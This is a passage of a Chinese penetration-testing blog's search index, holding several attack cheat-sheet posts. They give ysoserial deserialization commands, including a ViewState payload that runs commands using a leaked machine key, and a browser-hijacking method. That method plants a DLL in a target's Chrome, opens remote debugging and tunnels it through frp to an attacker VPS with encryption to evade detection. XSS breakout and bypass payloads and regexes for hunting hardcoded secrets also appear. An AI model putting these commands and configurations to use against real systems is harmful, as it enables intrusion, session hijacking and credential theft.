[{"content":"","permalink":"https://h4xk0r.github.io/fuzzlist/","summary":"","title":"Fuzzlist"},{"content":"JAVA_YSO 基础命令格式 java -jar ysoserial.jar [利用链] [执行的命令] 利用链: CommonsCollections1, URLDNS, Jackson 等 探测/检测 如果不确定对方是否存在反序列化漏洞,或者不清楚使用了哪些依赖库可以使用URLDNS\njava -jar ysoserial.jar URLDNS \u0026#34;http://your-dnslog-url.com\u0026#34; 注: 如果执行复杂命令最好封装成脚本执行,或者使用sh -c/bash -c\n.net_yso 基础命令\nysoserial.exe -g [Gadget] -f [Formatter] -c \u0026#34;[Command]\u0026#34; -o 编码 -g 利用链的名称,如TextFormattingRunProperties -f 序列化类型,如 BinaryFormatter, Json.Net, ObjectStateFormatter -c 执行的命令 -o 编码处理,如 raw ,bash64, urlencode 利用 (web Machinekey泄露)\nysoserial.exe -p ViewState -g TextFormattingRunProperties -c \u0026#34;cmd /c echo pwned \u0026gt; C:\\windows\\temp\\test.txt\u0026#34; --validationkey=\u0026#34;你的KEY\u0026#34; --validationalg=\u0026#34;SHA1\u0026#34; 技巧\n- p 参数可以指定插件,对一些特定目标进行测试\n-p ViewState：处理 ASP.NET ViewState。 -p ActivitySurrogateSelector：，可以绕过较新的 .NET 补丁，实现无文件落地执行任意 C# 代码。 利用链:\n场景/格式, 推荐 Gadget,\t说明 BinaryFormatter\tTextFormattingRunProperties\t通用性最强，成功率高 Json.NET\tObjectDataProvider\t针对特定配置的 JSON 解析 XamlReader,\tExpandedWrapper\t常用于 WPF 或特定 XML 处理 通用（高版本）\tActivitySurrogateSelector\t配合插件可执行任意 C# 代码 ","permalink":"https://h4xk0r.github.io/posts/yso/","summary":"\u003ch2 id=\"java_yso\"\u003eJAVA_YSO\u003c/h2\u003e\n\u003ch5 id=\"基础命令格式\"\u003e基础命令格式\u003c/h5\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejava -jar ysoserial.jar \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e利用链\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e执行的命令\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e利用链: CommonsCollections1, URLDNS, Jackson 等\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch5 id=\"探测检测\"\u003e探测/检测\u003c/h5\u003e\n\u003cp\u003e如果不确定对方是否存在反序列化漏洞,或者不清楚使用了哪些依赖库可以使用\u003ccode\u003eURLDNS\u003c/code\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ejava -jar ysoserial.jar URLDNS \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;http://your-dnslog-url.com\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e注: 如果执行复杂命令最好封装成脚本执行,或者使用\u003ccode\u003esh -c\u003c/code\u003e/\u003ccode\u003ebash -c\u003c/code\u003e\u003c/p\u003e\n\u003ch2 id=\"net_yso\"\u003e.net_yso\u003c/h2\u003e\n\u003cp\u003e基础命令\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eysoserial.exe -g \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003eGadget\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e -f \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003eFormatter\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e -c \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;[Command]\u0026#34;\u003c/span\u003e -o 编码\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e-g  利用链的名称,如TextFormattingRunProperties\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e-f  序列化类型,如 BinaryFormatter, Json.Net, ObjectStateFormatter\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e-c  执行的命令\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e-o  编码处理,如 raw ,bash64, urlencode\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e利用  (web Machinekey泄露)\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eysoserial.exe -p ViewState -g TextFormattingRunProperties -c \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;cmd /c echo pwned \u0026gt; C:\\windows\\temp\\test.txt\u0026#34;\u003c/span\u003e --validationkey\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;你的KEY\u0026#34;\u003c/span\u003e --validationalg\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SHA1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e技巧\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e- p\u003c/code\u003e 参数可以指定插件,对一些特定目标进行测试\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e-p ViewState：处理 ASP.NET ViewState。\n-p ActivitySurrogateSelector：，可以绕过较新的 .NET 补丁，实现无文件落地执行任意 C# 代码。 \n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e利用链:\u003c/p\u003e","title":"Yso"},{"content":"实现方式: 开启远程调试端口 首先将dll插入浏览器目录后,使用命令将对方的远程调试端口开起来chrome.exe --remote-debugging-port=9222 --remote-allow-origins=* --headless --remote-debugging-port\t指定端口 --remote-allow-origins 避免403 --headless 避免弹窗 注: 如果对方已经开启浏览器需要将浏览器关闭后才能运行插入的dll,关闭浏览器命令taskkill /F /IM chrome.exe /T\n开启端后查看端口是否在运行监听netstat -ano | findstr :9222\n打隧道 通过frp打通隧道frpc配置\n[common] # 你的 VPS 公网 IP server_addr = x.x.x.x server_port = 7000 token = my_secure_token_123 [chrome_debug] type = tcp local_ip = 127.0.0.1 # 对应 Chrome 启动时的 --remote-debugging-port local_port = 9222 # 映射到 VPS 上的端口（确保 VPS 防火墙已开放此端口） remote_port = 19222 # 【实战建议】开启加密和压缩，躲避流量检测 use_encryption = true use_compression = true frps\n[common] # frp 服务监听端口，用于和目标机建立隧道 bind_port = 7000 # 授权令牌，必须与客户端一致（防蹭） token = my_secure_token_123 # 【可选】开启仪表盘，方便你查看隧道是否在线 dashboard_port = 7500 dashboard_user = admin dashboard_pwd = admin_password 命令启动.\\frpc.exe tcp -s x.x.x.x:7000 -p my_secure_token_123 -l 9222 -r 19222 --uc --ue\n配置本地\u0026ndash;\u0026gt;burp\u0026ndash;\u0026gt;vps\u0026ndash;\u0026gt; 目标规则(proxifier) burp配置上游代理: 打开 Burp，进入 Settings -\u0026gt; Network -\u0026gt; Connections。\n找到 Upstream Proxy Servers，点击 Add：\nDestination host: * (代表所有流量都往 VPS 发) Proxy host: 你的VPS_IP Proxy port: 你的VPS代理端口 (比如 9000) Authentication: 如果你的 VPS 代理有账号密码，填在这里。 proxifier配置规则 添加代理服务器: Profile \u0026ndash;\u0026gt; Proxy Servers \u0026ndash;\u0026gt; Add。\nAddress: 127.0.0.1\nPort: 8080 (你的 Burp 默认监听端口)\nProtocol: HTTPS (注意：Burp 默认模拟的是 HTTPS 代理)。\n编辑规则: 优先级 规则名称 Applications Target Hosts Action 1 (高) Burp_Exclusion burp.exe; java.exe Any Direct (直连) 2 (中) Browser_to_Burp chrome.exe; msedge.exe 127.0.0.1; localhost Proxy 127.0.0.1:8080 3 (低) Default Any Any Direct 本地访问127.0.0.1:代理端口/json ","permalink":"https://h4xk0r.github.io/posts/%E6%B5%8F%E8%A7%88%E5%99%A8%E5%8A%AB%E6%8C%81/","summary":"\u003ch2 id=\"实现方式\"\u003e实现方式:\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003ch3 id=\"开启远程调试端口\"\u003e开启远程调试端口\u003c/h3\u003e\n\u003cp\u003e首先将dll插入浏览器目录后,使用命令将对方的远程调试端口开起来\u003ccode\u003echrome.exe --remote-debugging-port=9222 --remote-allow-origins=*  --headless \u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e--remote-debugging-port\t指定端口\n--remote-allow-origins 避免403\n--headless 避免弹窗\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e注: 如果对方已经开启浏览器需要将浏览器关闭后才能运行插入的dll,关闭浏览器命令\u003ccode\u003etaskkill /F /IM chrome.exe /T\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e开启端后查看端口是否在运行监听\u003ccode\u003enetstat -ano | findstr :9222\u003c/code\u003e\u003c/p\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003e\n\u003ch3 id=\"打隧道\"\u003e打隧道\u003c/h3\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e通过frp打通隧道frpc配置\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e[common]\n# 你的 VPS 公网 IP\nserver_addr = x.x.x.x\nserver_port = 7000\ntoken = my_secure_token_123\n\n[chrome_debug]\ntype = tcp\nlocal_ip = 127.0.0.1\n# 对应 Chrome 启动时的 --remote-debugging-port\nlocal_port = 9222\n# 映射到 VPS 上的端口（确保 VPS 防火墙已开放此端口）\nremote_port = 19222\n\n# 【实战建议】开启加密和压缩，躲避流量检测\nuse_encryption = true\nuse_compression = true\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003efrps\u003c/p\u003e","title":"浏览器劫持"},{"content":"逃逸手法分类/选择: **HTML标签内部:**如在\u0026lt;div\u0026gt; xxx \u0026lt;/div\u0026gt;中\n逃逸: 直接闭合标签\u0026lt;/div\u0026gt; \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\nHTML属性内部:\u0026lt;input type=\u0026quot;text\u0026quot; value=\u0026quot;xxxx\u0026quot;\u0026gt;\n逃逸:\n一. 闭合属性,添加事件或者闭合标签 \u0026quot; onmouseover=\u0026quot;alert(1)或者\n\u0026quot;\u0026gt; \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\nJavascript变量内: \u0026lt;script\u0026gt; var name = 'xxxx'; \u0026lt;/script\u0026gt;\n逃逸: 闭合单引号或者标签,闭合或者注释掉后面的代码, '; alert(1); // DOM渲染: 数据不回传服务器，直接被前端 JS（如 .innerHTML、eval()）接收并渲染。\n挖掘思路 输入框测试: 先看源代码,输入的数据在什么里面,再测试能不能截断或者添加事件等方法,输入绕过的字符如: ' \u0026quot; \u0026lt; \u0026gt; / ; \\等,观察源代码哪一个被过滤了\n变成\u0026amp;lt; 说明做了实体编码 没有变化,说明有xss的可能 其他测试点:\njson报错页面: 很多 API 报错时会原样回显你输入的非法 JSON 字段\n配合文件上传\nhttps://www.freebuf.com/vuls/418170.html 可以看这篇文章\nHTTP头(盲XSS) 在 Referer、User-Agent、X-Forwarded-For 中注入盲打 Payload，盲打后台\n绕过: 使用不太常见的标签或者事件:\n这里推荐一个网站 https://portswigger.net/web-security/cross-site-scripting/cheat-sheet\n编码绕过:\n浏览器解析 HTML 时有特定的解码顺序（HTML 解码 -\u0026gt; URL 解码 -\u0026gt; JS 解码）\n其他编码方式:\n动态执行编码(利用 JS 内置函数对加密/编码后的内容进行动态解密执行)\nCSS编码: 在 style 属性或 CSS 文件中，可以使用反斜杠后跟十六进制\nJSFuck,AAEncode,JJEncode编码(要求不限制长度,绕waf有效)\n白盒审计的一些搜索关键词 语言/框架 搜索关键词 (高危标志) 漏洞原理 Java (Thymeleaf) th:utext Unescaped Text，直接渲染 HTML Java (JSP) \u0026lt;%= 或 ${...} 原生输出，默认不转义 PHP (ThinkPHP/Smarty) ` raw` PHP (Laravel) {!! $var !!} 强制不转义输出 Python (Django/Jinja2) ` safe` Vue.js / React v-html / dangerouslySet... 框架留给开发者的“执行后门” 前端 JavaScript .innerHTML / document.write 原生 JS 最经典的 DOM XSS 入口 推荐文章: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection\n一些推荐的工具: https://github.com/mandatoryprogrammer/xsshunter-express https://github.com/ssl/ezXSS https://github.com/s0md3v/XSStrike ","permalink":"https://h4xk0r.github.io/posts/xss/","summary":"\u003ch2 id=\"逃逸手法分类选择\"\u003e逃逸手法分类/选择:\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e**HTML标签内部:**如在\u003ccode\u003e\u0026lt;div\u0026gt; xxx \u0026lt;/div\u0026gt;\u003c/code\u003e中\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e逃逸:\u003c/strong\u003e 直接闭合标签\u003ccode\u003e\u0026lt;/div\u0026gt;  \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eHTML属性内部:\u003c/strong\u003e\u003ccode\u003e\u0026lt;input type=\u0026quot;text\u0026quot; value=\u0026quot;xxxx\u0026quot;\u0026gt;\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e逃逸:\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e一. 闭合属性,添加事件或者闭合标签 \u003ccode\u003e\u0026quot;  onmouseover=\u0026quot;alert(1)\u003c/code\u003e或者\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e\u0026quot;\u0026gt;  \u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;\u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eJavascript变量内:\u003c/strong\u003e \u003ccode\u003e\u0026lt;script\u0026gt; var name = 'xxxx'; \u0026lt;/script\u0026gt;\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003e逃逸:\u003c/strong\u003e 闭合单引号或者标签,闭合或者注释掉后面的代码, \u003ccode\u003e'; alert(1);      // \u003c/code\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eDOM渲染:\u003c/strong\u003e 数据不回传服务器，直接被前端 JS（如 \u003ccode\u003e.innerHTML\u003c/code\u003e、\u003ccode\u003eeval()\u003c/code\u003e）接收并渲染。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"挖掘思路\"\u003e挖掘思路\u003c/h2\u003e\n\u003cp\u003e输入框测试: 先看源代码,输入的数据在什么里面,再测试能不能截断或者添加事件等方法,输入绕过的字符如: \u003ccode\u003e' \u0026quot; \u0026lt; \u0026gt; / ; \\\u003c/code\u003e等,观察源代码哪一个被过滤了\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e变成\u003ccode\u003e\u0026amp;lt;\u003c/code\u003e 说明做了实体编码\u003c/li\u003e\n\u003cli\u003e没有变化,说明有xss的可能\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e其他测试点:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003ejson报错页面:\u003c/strong\u003e 很多 API 报错时会原样回显你输入的非法 JSON 字段\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e配合文件上传\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.freebuf.com/vuls/418170.html\"\u003ehttps://www.freebuf.com/vuls/418170.html\u003c/a\u003e 可以看这篇文章\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eHTTP头(盲XSS)\u003c/strong\u003e 在 \u003ccode\u003eReferer\u003c/code\u003e、\u003ccode\u003eUser-Agent\u003c/code\u003e、\u003ccode\u003eX-Forwarded-For\u003c/code\u003e 中注入盲打 Payload，盲打后台\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"绕过\"\u003e绕过:\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e使用不太常见的标签或者事件:\u003c/p\u003e\n\u003cp\u003e这里推荐一个网站 \u003ca href=\"https://portswigger.net/web-security/cross-site-scripting/cheat-sheet\"\u003ehttps://portswigger.net/web-security/cross-site-scripting/cheat-sheet\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e编码绕过:\u003c/p\u003e\n\u003cp\u003e浏览器解析 HTML 时有特定的解码顺序（HTML 解码 -\u0026gt; URL 解码 -\u0026gt; JS 解码）\u003c/p\u003e","title":"XSS"},{"content":"本人代码能力不是很好，对很多网站框架和文件理解不是很深，所以看js文件的时候难免有些困难，所以有了这篇文章\nJS审计技巧 遇到source.map(.map)可以直接还原源码\n首先是一些用来搜索的正则：\napi/| /v[0-9]|/admin|/internal|/private key:|secret:|token:|password:|apikey|sk_ |pk_ |AKIA（AWS） fetch|axios|XMLHttpRequest|$.post|$.ajax localStorage|sessionStorage|cookie if\\s*\\(\\s*user\\.role|isAdmin|level|permission innerHTML|eval|document\\.write（XSS sink） 看完上面这些，还要看什么？ 密钥\n如: const KEY = \u0026quot;xxx\u0026quot;、process.env.VITE_xxx（Vite 常见泄露）、client_secret。\n如config.chunk.js 里：\nconst stripeConfig = { publishableKey: \u0026#34;pk_live_51Hb...xxxx\u0026#34;, // Stripe 真实密钥 clientSecret: \u0026#34;sk_test_51Hb...xxxx\u0026#34; }; var fallbackSecret = \u0026#34;supersecret2025!@#\u0026#34;; // 备用密钥 API 可以用上面的正则去搜\n逻辑/授权检查 如: if (user.isAdmin)、if (role === 'vip')、if (canEdit)。\nif (user.vipLevel \u0026gt;= 3) { showDownloadButton(); // 前端判断 } else { hideIt(); } 加密/签名 如CryptoJS、encrypt、sign、md5、rsa 函数。\npassword: CryptoJS.AES.encrypt(pwd, \u0026#39;hardcoded_key_123\u0026#39;).toString() 逆向出密钥，就能批量撞库或伪造登录\n不用看的JS 第三方库完整代码jquery-3.6.0.min.js、lodash.min.js、react.production.min.js 全文件。 → 只看最上面注释的版本号（查 CVE），其余不看。\n一些框架的打包，如React/Vue/Next.js 的\n_createElementVNode, useState, render() { ... } 还有一些轮番图片等\n步骤： 正则匹配的看完\nNetwork看加载\nF12 → Network → 过滤 js 刷新页面 / 登录 / 点击关键功能（支付、查看用户列表） 看哪个 JS 在你操作后才加载 → 那就是核心业务文件 不看的：页面一打开就加载的 vendor.*.js（第三方库，如 React、lodash） 可以把JS全部下载下来然后搜索：\n一个简单的搜索 grep -l -E \u0026#34;fetch|axios|api/|token|secret|isAdmin\u0026#34; *.js 按大小排序看大的文件，就有可能是业务逻辑\n注： 先检查有没有source.map ,如果有可以直接还原\n","permalink":"https://h4xk0r.github.io/posts/js%E5%AE%A1%E8%AE%A1%E6%8A%80%E5%B7%A7/","summary":"\u003cp\u003e本人代码能力不是很好，对很多网站框架和文件理解不是很深，所以看js文件的时候难免有些困难，所以有了这篇文章\u003c/p\u003e\n\u003ch3 id=\"js审计技巧\"\u003eJS审计技巧\u003c/h3\u003e\n\u003cp\u003e遇到source.map(.map)可以直接还原源码\u003c/p\u003e\n\u003cp\u003e首先是一些用来搜索的正则：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eapi/| /v[0-9]|/admin|/internal|/private\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ekey:|secret:|token:|password:|apikey|sk_ |pk_ |AKIA\u003c/code\u003e（AWS）\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003efetch|axios|XMLHttpRequest|$.post|$.ajax\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003elocalStorage|sessionStorage|cookie\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eif\\s*\\(\\s*user\\.role|isAdmin|level|permission\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003einnerHTML|eval|document\\.write\u003c/code\u003e（XSS sink）\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4 id=\"看完上面这些还要看什么\"\u003e看完上面这些，还要看什么？\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003e密钥\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e如: \u003ccode\u003econst KEY = \u0026quot;xxx\u0026quot;\u003c/code\u003e、\u003ccode\u003eprocess.env.VITE_xxx\u003c/code\u003e（Vite 常见泄露）、\u003ccode\u003eclient_secret\u003c/code\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e如config.chunk.js 里：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003econst\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estripeConfig\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003epublishableKey\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;pk_live_51Hb...xxxx\u0026#34;\u003c/span\u003e,   \u003cspan style=\"color:#75715e\"\u003e// Stripe 真实密钥\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eclientSecret\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;sk_test_51Hb...xxxx\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e};\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003evar\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003efallbackSecret\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;supersecret2025!@#\u0026#34;\u003c/span\u003e;  \u003cspan style=\"color:#75715e\"\u003e// 备用密钥\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"2\"\u003e\n\u003cli\u003e\u003cstrong\u003eAPI\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e可以用上面的正则去搜\u003c/p\u003e\n\u003col start=\"3\"\u003e\n\u003cli\u003e\u003cstrong\u003e逻辑/授权检查\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e如:  \u003ccode\u003eif (user.isAdmin)\u003c/code\u003e、\u003ccode\u003eif (role === 'vip')\u003c/code\u003e、\u003ccode\u003eif (canEdit)\u003c/code\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e (\u003cspan style=\"color:#a6e22e\"\u003euser\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003evipLevel\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e) {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003eshowDownloadButton\u003c/span\u003e();   \u003cspan style=\"color:#75715e\"\u003e// 前端判断\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e} \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#a6e22e\"\u003ehideIt\u003c/span\u003e();\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"4\"\u003e\n\u003cli\u003e\u003cstrong\u003e加密/签名\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e如\u003ccode\u003eCryptoJS\u003c/code\u003e、\u003ccode\u003eencrypt\u003c/code\u003e、\u003ccode\u003esign\u003c/code\u003e、\u003ccode\u003emd5\u003c/code\u003e、\u003ccode\u003ersa\u003c/code\u003e 函数。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003epassword\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eCryptoJS\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eAES\u003c/span\u003e.\u003cspan style=\"color:#a6e22e\"\u003eencrypt\u003c/span\u003e(\u003cspan style=\"color:#a6e22e\"\u003epwd\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;hardcoded_key_123\u0026#39;\u003c/span\u003e).\u003cspan style=\"color:#a6e22e\"\u003etoString\u003c/span\u003e()\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e逆向出密钥，就能批量撞库或伪造登录\u003c/p\u003e\n\u003ch4 id=\"不用看的js\"\u003e不用看的JS\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e第三方库完整代码jquery-3.6.0.min.js、lodash.min.js、react.production.min.js 全文件。 → 只看最上面注释的版本号（查 CVE），其余不看。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e一些框架的打包，如React/Vue/Next.js 的\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003e_createElementVNode\u003c/span\u003e, \u003cspan style=\"color:#a6e22e\"\u003euseState\u003c/span\u003e, \u003cspan 